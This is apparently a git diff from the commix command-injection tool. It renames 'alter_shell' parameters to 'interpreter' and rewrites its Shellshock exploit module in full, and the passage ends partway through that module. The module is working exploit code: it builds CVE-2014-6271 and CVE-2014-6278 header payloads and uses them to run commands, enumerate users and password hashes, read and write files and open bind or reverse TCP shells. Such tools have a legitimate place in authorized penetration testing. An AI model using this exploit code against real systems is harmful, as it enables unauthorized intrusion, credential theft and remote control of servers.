directory. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 2db6e1a9c9..5b02a3c8b7 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -46,7 +46,7 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): """ __Warning__: The alternative shells are still experimental. """ -def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): +def decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\"" payload = (separator + @@ -102,7 +102,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): """ __Warning__: The alternative shells are still experimental. """ -def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): +def cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE): if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: payload = (separator + cmd + settings.SINGLE_WHITESPACE diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index c049dddab6..9954c36614 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -23,8 +23,8 @@ """ The main command injection exploitation. """ -def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): - return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) +def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) """ """ @@ -34,7 +34,7 @@ def select_output_filename(technique, tmp_path, TAG, prompt=True): """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): - return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total, silent) +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total, silent) # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index e75ce35a77..73a81bc684 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -90,7 +90,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): """ __Warning__: The alternative shells are still experimental. """ -def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): +def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" if separator in ("|", "||"): @@ -277,7 +277,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth """ __Warning__: The alternative shells are still experimental. """ -def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): +def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" if separator in ("|", "||"): @@ -406,7 +406,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http """ __Warning__: The alternative shells are still experimental. """ -def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): +def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): # Same bisection comparison by default as get_char() - validation re-probes with an equality operator. win_operator = "GEQ" if operator == "-le" else "EQU" if settings.TARGET_OS == settings.OS.WINDOWS: @@ -521,7 +521,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth """ __Warning__: The alternative shells are still experimental. """ -def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): +def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" if separator in ("|", "||"): diff --git a/src/core/main.py b/src/core/main.py index 72f129bbb1..ed2da119c6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -693,10 +693,10 @@ def main(filename, url, http_request_method): if settings.STABLE_RELEASE == False: common.days_from_last_update() - # Check if specified wrong alternative shell - if menu.options.alter_shell: - if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: - err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" + # Check if specified wrong alternative interpreter + if menu.options.interpreter: + if menu.options.interpreter.lower() not in settings.AVAILABLE_INTERPRETERS: + err_msg = "'" + menu.options.interpreter + "' interpreter is not supported!" settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 9d0869b00a..ad0a3fda5f 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -1,595 +1,595 @@ -#!/usr/bin/env python - -import re -import os -import sys -import string -import random -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import http_client as _http_client -from src.utils import common -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.core.requests import proxy -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.shells import bind_tcp -from src.core.shells import reverse_tcp -from src.core.requests import parameters -from src.core.requests import headers as log_http_headers -from src.core.injections.controller import checks - -default_user_agent = menu.options.agent -default_cookie = "" - -if menu.options.cookie: - if settings.INJECT_TAG in menu.options.cookie: - menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG , "") - default_cookie = menu.options.cookie - -""" -This module exploits the vulnerabilities CVE-2014-6271 [1], CVE-2014-6278 [2] in Apache CGI. -[1] CVE-2014-6271: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 -[2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 -""" - -if settings.MULTI_TARGETS or settings.STDIN_PARSING: - if settings.COOKIE_INJECTION: - settings.COOKIE_INJECTION = None - if settings.USER_AGENT_INJECTION: - settings.USER_AGENT_INJECTION = None - if settings.REFERER_INJECTION: - settings.REFERER_INJECTION = None - -# Available Shellshock CVEs -shellshock_cves = [ -"CVE-2014-6271", -"CVE-2014-6278" -] - -""" -Available shellshock payloads -""" -def shellshock_payloads(cve, attack_vector): - if cve == shellshock_cves[0] : - payload = "() { :; }; " + attack_vector - elif cve == shellshock_cves[1] : - payload = "() { _; } >_[$($())] { " + attack_vector + " } " - else: - pass - return payload - -""" -Shellshock bug exploitation -""" -def shellshock_exploitation(cve, cmd): - attack_vector = " echo; " + cmd + ";" - payload = shellshock_payloads(cve, attack_vector) - return payload - -""" -Print percentage calculation -""" -def print_percentage(no_result, response_info, cve, float_percent): - if float(float_percent) == 100: - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = settings.info_msg - no_result = False - elif len(response_info) > 0 and cve in response_info: - percent = settings.info_msg - no_result = False - else: - percent = str(float_percent)+ "%" - return percent, no_result - -""" -Enumeration Options -""" -def enumeration(url, cve, check_header, filename): - _ = False - if menu.options.hostname: - checks.print_enumenation().hostname_msg() - cmd = settings.HOSTNAME - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - checks.print_hostname(shell, filename, _) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - checks.print_enumenation().current_user_msg() - cmd = settings.CURRENT_USER - cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) - if cu_account: - checks.print_current_user(cu_account, filename, _) - settings.ENUMERATION_DONE = True - - if menu.options.is_root: - checks.print_enumenation().check_privs_msg() - cmd = re.findall(r"" + r"\$(.*)", settings.IS_ROOT) - cmd = ''.join(cmd) - cmd = checks.remove_parenthesis(cmd) - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - checks.print_current_user_privs(shell, filename, _) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - checks.print_enumenation().os_info_msg() - cmd = settings.RECOGNISE_OS - target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) - if target_os: - if target_os == "Linux": - cmd = settings.DISTRO_INFO - distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename) - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - cmd = settings.RECOGNISE_HP - target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) - checks.print_os_info(target_os, target_arch, filename, _) - settings.ENUMERATION_DONE = True - - if menu.options.users: - checks.print_enumenation().print_users_msg() - cmd = settings.SYS_USERS - cmd = checks.remove_command_substitution(cmd) - sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) - if sys_users: - checks.print_users(sys_users, filename, _, None, None, cmd, None, None, None, None, url, None, alter_shell=False) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - checks.print_enumenation().print_passes_msg() - cmd = settings.SYS_PASSES - cmd = checks.remove_command_substitution(cmd) - sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) - if sys_passes : - checks.print_passes(sys_passes, filename, _, alter_shell=False) - settings.ENUMERATION_DONE = True - -""" -File Access Options -""" -def file_access(url, cve, check_header, filename): - - if menu.options.file_write: - file_to_write, dest_to_write, content = checks.check_file_to_write() - cmd = checks.write_content(content, dest_to_write) - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - cmd = checks.check_file(dest_to_write) - cmd = checks.remove_command_substitution(cmd) - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - checks.file_write_status(shell, dest_to_write) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - cmd, file_to_read = checks.file_content_to_read() - cmd = checks.remove_command_substitution(cmd) - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - checks.file_read_status(shell, file_to_read, filename) - settings.FILE_ACCESS_DONE = True - -""" -Execute the bind / reverse TCP shell -""" -def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - -""" -Configure the bind TCP shell -""" -def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - settings.BIND_TCP = True - # Set up RHOST / LPORT for the bind TCP connection. - bind_tcp.configure_bind_tcp(separator = "") - if settings.BIND_TCP == False: - if settings.REVERSE_TCP == True: - os_shell_option = "reverse_tcp" - reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - return go_back, go_back_again - while True: - # LPORT is always a validated numeric string (see check_lport()), so it can - # never equal a SHELL_OPTIONS keyword - always prompt for the shell type. - cmd = bind_tcp.bind_tcp_options(separator = "") - result = checks.check_bind_tcp_options(cmd) - if result != None: - if result == 0: - return False - elif result == 1 or result == 2: - go_back_again = True - settings.BIND_TCP = False - return go_back, go_back_again - # execute bind TCP shell - execute_shell(url, cmd, cve, check_header, filename, os_shell_option) - -""" -Configure the reverse TCP shell -""" -def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - settings.REVERSE_TCP = True - # Set up LHOST / LPORT for the reverse TCP connection. - reverse_tcp.configure_reverse_tcp(separator = "") - if settings.REVERSE_TCP == False: - if settings.BIND_TCP == True: - os_shell_option = "bind_tcp" - bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - return go_back, go_back_again - while True: - # LPORT is always a validated numeric string (see check_lport()), so it can - # never equal a SHELL_OPTIONS keyword - always prompt for the shell type. - cmd = reverse_tcp.reverse_tcp_options(separator = "") - result = checks.check_reverse_tcp_options(cmd) - if result != None: - if result == 0: - return False - elif result == 1 or result == 2: - go_back_again = True - settings.REVERSE_TCP = False - return go_back, go_back_again - # execute bind TCP shell - execute_shell(url, cmd, cve, check_header, filename, os_shell_option) - -""" -Check commix shell options -""" -def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again,no_result): - if os_shell_option == False: - if no_result == True: - return False - else: - return True - - if os_shell_option == None: - return go_back, go_back_again - - # The "back" option - elif os_shell_option == "back": - go_back = True - return go_back, go_back_again - - # The "os_shell" option - elif os_shell_option == "os_shell": - warn_msg = "You are in the '" + os_shell_option + "' mode." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - return go_back, go_back_again - - # The "bind_tcp" option - elif os_shell_option == "bind_tcp": - go_back, go_back_again = bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - return go_back, go_back_again - - # The "reverse_tcp" option - elif os_shell_option == "reverse_tcp": - go_back, go_back_again = reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - return go_back, go_back_again - - # The "quit" / "exit" options - elif os_shell_option == "quit" or os_shell_option == "exit": - checks.quit(filename, url, _ = True) - -""" -The main shellshock handler -""" -def shellshock_handler(url, http_request_method, filename): - - counter = 1 - vp_flag = True - no_result = True - export_injection_info = False - - injection_type = "results-based command injection" - technique = "shellshock injection technique" - - try: - i = 0 - total = len(shellshock_cves) * len(settings.SHELLSHOCK_HTTP_HEADERS) - for check_header in settings.SHELLSHOCK_HTTP_HEADERS: - for cve in shellshock_cves: - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - i = i + 1 - attack_vector = "echo" + settings.SINGLE_WHITESPACE + cve + ":Done;" - payload = shellshock_payloads(cve, attack_vector) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - settings.print_data_to_stdout(settings.print_payload(payload)) - header = {check_header : payload} - request = _urllib.request.Request(url, None, header) - if check_header == settings.COOKIE: - menu.options.cookie = payload - if check_header == settings.USER_AGENT: - menu.options.agent = payload - log_http_headers.do_check(request) - # check_http_traffic() already sends the request - reuse its result - # instead of sending the same request again. - response = log_http_headers.check_http_traffic(request) - if response is None: - # Check if defined any HTTP Proxy. - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - - if type(response) is bool: - response_info = "" - else: - response_info = response.info() - - if check_header == settings.COOKIE: - menu.options.cookie = default_cookie - if check_header == settings.USER_AGENT: - menu.options.agent = default_user_agent - - percent, float_percent = checks.percentage_calculation(i, total) - percent, no_result = print_percentage(no_result, response_info, cve, float_percent) - - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + technique + "." + "" + percent + "" - settings.print_data_to_stdout(settings.END_LINE.CR +settings.print_info_msg(info_msg)) - - - if no_result == False: - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - - vuln_parameter = "HTTP Header" - the_type = settings.SINGLE_WHITESPACE + vuln_parameter - check_header = settings.SINGLE_WHITESPACE + check_header - vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) - check_header = check_header[1:] - logs.update_payload(filename, counter, payload) - - if settings.VERBOSITY_LEVEL != 0: - checks.total_of_requests() - - settings.CHECKING_PARAMETER = check_header + settings.SINGLE_WHITESPACE + vuln_parameter - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + technique + "." - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - settings.print_data_to_stdout(settings.print_sub_content(payload)) - - # Enumeration options. - if settings.ENUMERATION_DONE: - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - enumeration(url, cve, check_header, filename) - break - elif enumerate_again in settings.CHOICE_NO: - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - enumeration(url, cve, check_header, filename) - - # File access options. - if settings.FILE_ACCESS_DONE == True: - while True: - message = "Do you want to ignore stored session and access files again? [y/N] " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - file_access(url, cve, check_header, filename) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - file_access(url, cve, check_header, filename) - - if menu.options.os_cmd: - cmd = menu.options.os_cmd - checks.print_enumenation().print_single_os_cmd_msg(cmd) - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - checks.print_single_os_cmd(cmd, shell, filename) - - # Pseudo-Terminal shell - try: - checks.alert() - go_back = False - go_back_again = False - while True: - if go_back == True: - break - # --os-shell is a direct action flag, not a prompt default - no question asked either way. - vuln_message = checks.vulnerable_message(url) - gotshell = settings.CHOICE_YES[0] if menu.options.os_shell else settings.CHOICE_NO[0] - if gotshell in settings.CHOICE_YES: - settings.print_data_to_stdout(settings.OS_SHELL_TITLE) - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - # Prompt passed straight to input() (via safe_input()) so readline owns - # it and redraws it correctly on tab/history, instead of pre-printing it - # separately and leaving the "line still open" bookkeeping out of sync. - cmd = common.safe_input(settings.OS_SHELL) - if len(cmd) == 0: - cmd = "os_shell" - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) - if os_shell_option is not False: - go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again, no_result) - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell != "": - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - settings.print_data_to_stdout(settings.command_execution_output(shell)) - else: - debug_msg = "Executing the '" + cmd + "' command. " - if settings.VERBOSITY_LEVEL == 1: - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.print_data_to_stdout(settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.print_data_to_stdout(settings.print_payload(payload)) - if settings.VERBOSITY_LEVEL >= 2: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - elif gotshell in settings.CHOICE_NO: - # Handle the parameter-wide decision before the technique-specific one. - if checks.skip_testing(filename, url, announce=vuln_message + " "): - checks.keep_testing_others(filename, url) - proceed = False - else: - proceed = checks.next_attack_vector(technique, go_back) - if proceed: - break - else: - if no_result == True: - return False - else: - logs.logs_notification(filename) - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - - else: - common.invalid_option(gotshell) - continue - break - - except (KeyboardInterrupt, SystemExit): - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - except TypeError: - break - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "All tested HTTP headers appear to be not injectable." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - logs.logs_notification(filename) - - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _http_client.IncompleteRead as err_msg: - settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ".")) - raise SystemExit() - -""" -Execute user commands -""" -def cmd_exec(url, cmd, cve, check_header, filename): - - """ - Check for shellshock 'shell' - """ - def check_for_shell(url, cmd, cve, check_header, filename): - try: - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - cmd = "echo " + TAG + "$(" + cmd + ")" + TAG - payload = shellshock_exploitation(cve, cmd) - debug_msg = "Executing the '" + cmd + "' command. " - if settings.VERBOSITY_LEVEL != 0: - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - if settings.VERBOSITY_LEVEL != 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_payload(payload)) - - header = {check_header : payload} - request = _urllib.request.Request(url, None, header) - if check_header == settings.USER_AGENT: - menu.options.agent = payload - log_http_headers.do_check(request) - # check_http_traffic() already sends the request - reuse its result - # instead of sending the same request again. - response = log_http_headers.check_http_traffic(request) - if response is None: - # Check if defined any HTTP Proxy. - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - if check_header == settings.USER_AGENT: - menu.options.agent = default_user_agent - shell = checks.process_page_content(response, action="decode").rstrip().replace(settings.END_LINE.LF,' ') - shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) - shell = ''.join(shell) - return shell, payload - - except _urllib.error.URLError as err_msg: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - shell, payload = check_for_shell(url, cmd, cve, check_header, filename) - if len(shell) == 0: - cmd = "/bin/" + cmd - shell, payload = check_for_shell(url, cmd, cve, check_header, filename) - if len(shell) > 0: - pass - elif len(shell) == 0: - cmd = "/usr" + cmd - shell, payload = check_for_shell(url, cmd, cve, check_header, filename) - if len(shell) > 0: - pass - - return shell, payload - -""" -The exploitation function. -(call the injection handler) -""" -def exploitation(url, http_request_method, filename): - if shellshock_handler(url, http_request_method, filename) == False: - return False - +#!/usr/bin/env python + +import re +import os +import sys +import string +import random +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import input as _input +from src.thirdparty.six.moves import http_client as _http_client +from src.utils import common +from src.utils import menu +from src.utils import logs +from src.utils import settings +from src.core.requests import proxy +from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.shells import bind_tcp +from src.core.shells import reverse_tcp +from src.core.requests import parameters +from src.core.requests import headers as log_http_headers +from src.core.injections.controller import checks + +default_user_agent = menu.options.agent +default_cookie = "" + +if menu.options.cookie: + if settings.INJECT_TAG in menu.options.cookie: + menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG , "") + default_cookie = menu.options.cookie + +""" +This module exploits the vulnerabilities CVE-2014-6271 [1], CVE-2014-6278 [2] in Apache CGI. +[1] CVE-2014-6271: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 +[2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 +""" + +if settings.MULTI_TARGETS or settings.STDIN_PARSING: + if settings.COOKIE_INJECTION: + settings.COOKIE_INJECTION = None + if settings.USER_AGENT_INJECTION: + settings.USER_AGENT_INJECTION = None + if settings.REFERER_INJECTION: + settings.REFERER_INJECTION = None + +# Available Shellshock CVEs +shellshock_cves = [ +"CVE-2014-6271", +"CVE-2014-6278" +] + +""" +Available shellshock payloads +""" +def shellshock_payloads(cve, attack_vector): + if cve == shellshock_cves[0] : + payload = "() { :; }; " + attack_vector + elif cve == shellshock_cves[1] : + payload = "() { _; } >_[$($())] { " + attack_vector + " } " + else: + pass + return payload + +""" +Shellshock bug exploitation +""" +def shellshock_exploitation(cve, cmd): + attack_vector = " echo; " + cmd + ";" + payload = shellshock_payloads(cve, attack_vector) + return payload + +""" +Print percentage calculation +""" +def print_percentage(no_result, response_info, cve, float_percent): + if float(float_percent) == 100: + if no_result == True: + percent = settings.FAIL_STATUS + else: + percent = settings.info_msg + no_result = False + elif len(response_info) > 0 and cve in response_info: + percent = settings.info_msg + no_result = False + else: + percent = str(float_percent)+ "%" + return percent, no_result + +""" +Enumeration Options +""" +def enumeration(url, cve, check_header, filename): + _ = False + if menu.options.hostname: + checks.print_enumenation().hostname_msg() + cmd = settings.HOSTNAME + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + if shell: + checks.print_hostname(shell, filename, _) + settings.ENUMERATION_DONE = True + + if menu.options.current_user: + checks.print_enumenation().current_user_msg() + cmd = settings.CURRENT_USER + cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) + if cu_account: + checks.print_current_user(cu_account, filename, _) + settings.ENUMERATION_DONE = True + + if menu.options.is_root: + checks.print_enumenation().check_privs_msg() + cmd = re.findall(r"" + r"\$(.*)", settings.IS_ROOT) + cmd = ''.join(cmd) + cmd = checks.remove_parenthesis(cmd) + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + if shell: + checks.print_current_user_privs(shell, filename, _) + settings.ENUMERATION_DONE = True + + if menu.options.sys_info: + checks.print_enumenation().os_info_msg() + cmd = settings.RECOGNISE_OS + target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) + if target_os: + if target_os == "Linux": + cmd = settings.DISTRO_INFO + distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename) + if len(distro_name) != 0: + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name + cmd = settings.RECOGNISE_HP + target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) + checks.print_os_info(target_os, target_arch, filename, _) + settings.ENUMERATION_DONE = True + + if menu.options.users: + checks.print_enumenation().print_users_msg() + cmd = settings.SYS_USERS + cmd = checks.remove_command_substitution(cmd) + sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) + if sys_users: + checks.print_users(sys_users, filename, _, None, None, cmd, None, None, None, None, url, None, interpreter=False) + settings.ENUMERATION_DONE = True + + if menu.options.passwords: + checks.print_enumenation().print_passes_msg() + cmd = settings.SYS_PASSES + cmd = checks.remove_command_substitution(cmd) + sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) + if sys_passes : + checks.print_passes(sys_passes, filename, _, interpreter=False) + settings.ENUMERATION_DONE = True + +""" +File Access Options +""" +def file_access(url, cve, check_header, filename): + + if menu.options.file_write: + file_to_write, dest_to_write, content = checks.check_file_to_write() + cmd = checks.write_content(content, dest_to_write) + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + cmd = checks.check_file(dest_to_write) + cmd = checks.remove_command_substitution(cmd) + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + checks.file_write_status(shell, dest_to_write) + settings.FILE_ACCESS_DONE = True + + if menu.options.file_read: + cmd, file_to_read = checks.file_content_to_read() + cmd = checks.remove_command_substitution(cmd) + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + checks.file_read_status(shell, file_to_read, filename) + settings.FILE_ACCESS_DONE = True + +""" +Execute the bind / reverse TCP shell +""" +def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + +""" +Configure the bind TCP shell 